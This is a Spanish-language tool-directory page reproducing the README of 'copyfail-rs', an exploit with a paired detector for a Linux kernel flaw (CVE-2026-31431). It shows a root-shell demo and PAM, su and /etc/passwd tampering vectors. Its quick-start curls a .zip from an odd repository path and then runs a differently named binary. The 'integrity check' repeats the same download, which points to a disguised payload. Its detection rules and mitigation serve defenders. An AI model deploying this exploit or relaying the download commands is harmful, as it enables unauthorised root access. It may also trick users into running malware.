Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
copyfail-rs — Explotar y detectar vulnerabilidades CVE-2026-31431 utilizando un binario estático que monitorea la integridad del sistema y omite la autenticación PAM. | Kitploit
Herramientas/GitHubGitHub/liverwortenuresis371/copyfail-rs
Escalada de PrivilegiosForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónAnálisis ForensePruebas de PenetraciónAutenticaciónRed TeamingRespuesta a Incidentes

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Explotación de Binarios
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

Explotar y detectar vulnerabilidades CVE-2026-31431 utilizando un binario estático que monitorea la integridad del sistema y omite la autenticación PAM.

Ver Repositorio
hace 6 díasAún no revisado

copyfail-rs

PoC multi-vector + detección emparejada para CVE-2026-31431 (CopyFail). Incluye un novedoso vector de omisión de autenticación PAM que ningún otro PoC público incluye. El modo de detección captura lo que AIDE / Wazuh / OSSEC / Tripwire estructuralmente no pueden.

Binario estático único. ~108 KB. no_std musl.

Demo

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

Un solo comando. Shell de root. PAM killshot bajo el capó (escritura única de 4 bytes en /etc/pam.d/common-auth), drop PTY a root mediante sudo con contraseña descartada. La línea [sudo] password for noot: parpadea brevemente, sudo siempre muestra ese prompt; el binario le proporciona cualquier cadena y el fallo de pam_unix se propaga a través del pam_deny.so comentado hasta pam_permit.so → root.

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← what's actually loaded (mutated)
    disk:   117dab1c...  ← what AIDE / Wazuh / Tripwire see (clean)

Eso es el proyecto. Disco limpio, caché mutada. Cada FIM público está ciego. Esta herramienta no.

Inicio rápido (sin necesidad de compilar)

Binarios estáticos precompilados en el lanzamiento v0.1.0. Elige tu arquitectura, descarga, ejecuta.

root@kitploit:~
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

Otras arquitecturas:

ArquitecturaArchivo
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

Verificar integridad:

root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

Binarios estáticos musl, sin dependencias de ejecución, funcionan en cualquier Linux.

Por qué FIM está ciego

Mutación de caché de páginas. Sin escritura VFS. Sin página sucia. Sin evento inotify. El reescaneo periódico compite con el desalojo.

AIDE/Wazuh/OSSEC/Tripwire/Samhain leen mediante E/S con búfer → caché de páginas → hashean bytes mutados como verdad. O tras el desalojo, hashean disco limpio → "nunca ocurrió ningún cambio."

La detección necesita O_DIRECT (saltar caché) + lectura con búfer (acertar en caché) + diferencia de hash. Desajuste = firma CopyFail. Eso es --scan.

Vectores

Selección automática: --vector auto (predeterminado). Clasifica pam > su > passwd por sigilo. Retrocede en caso de fallo.

Detección

--json en todas partes para ingestión en SIEM.

Artefactos de detección

detection/:

  • sigma/copyfail-af-alg.yml, regla Sigma, colócala en tu SIEM
  • auditd/copyfail.rules, augenrules --load
  • ebpf/copyfail-trace.bt, comando único de bpftrace
  • apparmor/copyfail-block.profile, regla de denegación de AppArmor 3.0+
  • mitigation/disable-algif.sh, lista negra de modprobe + advertencia =y

Mitigación

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

O kernel mainline a664bf3d603d (abril de 2026). A día de hoy: solo Debian Sid/Forky lo han incluido. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = todos vulnerables.

Advertencia: CONFIG_CRYPTO_USER_API_AEAD=y (integrado) elude silenciosamente modprobe. --check lo advierte.

Después del exploit + mitigación: la mutación en caché persiste hasta el reinicio. La mitigación bloquea NUEVOS exploits, no deshace los pasados.

Compilación

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
ObjetivoTamaño
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std. Sin asignador. Sin dependencias de ejecución. Binario estático único.

Artefactos precompilados y sumas SHA256 adjuntos a los lanzamientos de GitHub.

Uso

Consulta docs/usage.md para ejemplos concretos de una pantalla por modo (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).

Para una versión narrativa más extensa de este README (más contexto, exposición más profunda), consulta BLOG.md.

Modelo de amenazas

Consulta docs/threat-model.md.

Comparación

Autorización y ética

Solo hardware propio. Sin puerta CLI (teatro de seguridad). README + LICENSE = el marco.

El modo de detección es de solo lectura. Seguro en producción.

El modo exploit muta la caché de páginas del kernel. Solo RAM, pero trátalo como destructivo. Bloquea la autenticación para cualquier llamante posterior.

Créditos

CVE-2026-31431 divulgado por Theori / Xint el 2026-04-29 (informe, blog de Xint). PoCs públicos anteriores:

  • theori-io/copy-fail-CVE-2026-31431 (Python, 732 bytes, vector su)
  • tgies/copy-fail-c (C con nolibc, vectores su + passwd, portable)
  • badsectorlabs/copyfail-go (binario Go estático, vector su)

Este proyecto (copyfail-rs): añade el vector de omisión de autenticación PAM, detección de modo dual, artefactos de IR.

Licencia

MIT.

Referencias

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Linux fix: a664bf3d603d
  • Floor: 72548b093ee3 (4.14, Aug 2017)
  • Analog: Dirty Pipe (CVE-2022-0847)
Descargar herramienta
VectorObjetivoDónde termina
pam (NUEVO)/etc/pam.d/common-auth (Debian/Ubuntu) o system-auth (Fedora/RHEL/Arch)4 bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo con cualquier contraseña = root.
su/usr/bin/suMutar el texto del binario setuid. execve → root.
passwd/etc/passwdInversión de UID → el usuario se convierte en root en el siguiente inicio de sesión. Rompe SSH para ese usuario.
ModoQué
--checkKernel + módulo + CONFIG_CRYPTO_USER_API_AEAD + estado de mitigación. Verdicto: vulnerable / mitigado / seguro.
--scanDiferencia de lectura O_DIRECT vs con búfer en archivos críticos. Ramificado por statfs(): ext4/xfs/btrfs usan O_DIRECT, overlayfs retrocede, tmpfs se omite.
--baseline / --diffInstantánea del estado limpio conocido. Diferenciar después. Deltas solo de caché = la huella de CopyFail.
--watchDemonio. Escaneo periódico. SIGTERM limpio.
--huntBarrido de flota SSH. Agregados JSON.
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
Vectoressusu + passwdsusu + passwd + PAM (novedoso)
Detecciónningunaningunaningunacompleto --mode detect
Artefactos IRningunoningunoningunoSigma + auditd + eBPF + AppArmor
UX del operador3 comandos4 comandos5 comandos1 comando
Binarionecesita Python~10 KB~5 MB~108 KB estático